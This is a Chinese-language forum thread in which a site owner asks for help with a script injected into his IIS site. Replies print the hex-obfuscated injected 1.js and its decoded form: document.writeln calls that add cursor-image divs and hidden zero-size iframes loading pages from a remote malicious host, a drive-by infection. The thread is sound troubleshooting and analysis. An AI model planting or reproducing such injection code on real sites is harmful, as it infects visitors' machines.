网站被持脚本，谁来帮忙解决一下啊!!

Question

看你的服务器是什么,IIS?APACHE?TOMCAT?
有可能加了类似于过滤器的东西,在用户的每一个请求里都加一段东西.

Answer 1

用的是 IIS 希望说的在清楚些

Answer 2

程序的源码中当然没有了，脚本的源指向另一个站点，L@@K http://fuck.ns2go.com/dir/index_pic/1.js如果能确认用不到 1.js 的代码内容，可以用 EditPlus 等具有多文件替换功能的编辑器删除该语句！1.js 内的代码如下;window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x66\x75\x63\x6b\x2e\x6e\x73\x32\x67\x6f\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x31\x2e\x67\x69\x66\'\x29\"\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x66\x75\x63\x6b\x2e\x6e\x73\x32\x67\x6f\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x32\x2e\x67\x69\x66\'\x29\"\x3e\x3c\/\x44\x49\x56\x3e\x3c\/\x44\x49\x56\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x66\x75\x63\x6b\x2e\x6e\x73\x32\x67\x6f\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x30\x36\x30\x31\x34\x2e\x68\x74\x6d \x77\x69\x64\x74\x68\x3d\x31 \x68\x65\x69\x67\x68\x74\x3d\x31\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x66\x75\x63\x6b\x2e\x6e\x73\x32\x67\x6f\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x74\x6a\x2e\x68\x74\x6d \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e")

Answer 3

解码后的惊人发现！！！原来 1.js 是病毒引用文件，请 LZ 删除它！如果源码中没有的话，就是网络提供商所为，太可恶了！内容如下：当俺试图加载 http://fuck.ns2go.com/dir/index_pic/1.gif 是瑞星时时监控告知是脚本病毒！！！window["document"]["writeln"]("<DIV style="CURSOR: url('http://fuck.ns2go.com/dir/index_pic/1.gif')">")
window["document"]["writeln"]("<DIV style="CURSOR: url('http://fuck.ns2go.com/dir/index_pic/2.gif')"></DIV></DIV>")
window["document"]["writeln"]("<iframe src=http://fuck.ns2go.com/dir/index_pic/06014.htm width=1 height=1></iframe>")
window["document"]["writeln"]("<iframe src=http://fuck.ns2go.com/dir/index_pic/tj.htm width=0 height=0></iframe>")

Answer 4

其实一看到这个 http://fuck.ns2go.com 的 Url 时俺就觉得不对头，
正规站点怎么会用这么下流的名字呢？！当然也许是 网络提供商 被人黑了！幸好俺还有瑞星防一下下，哈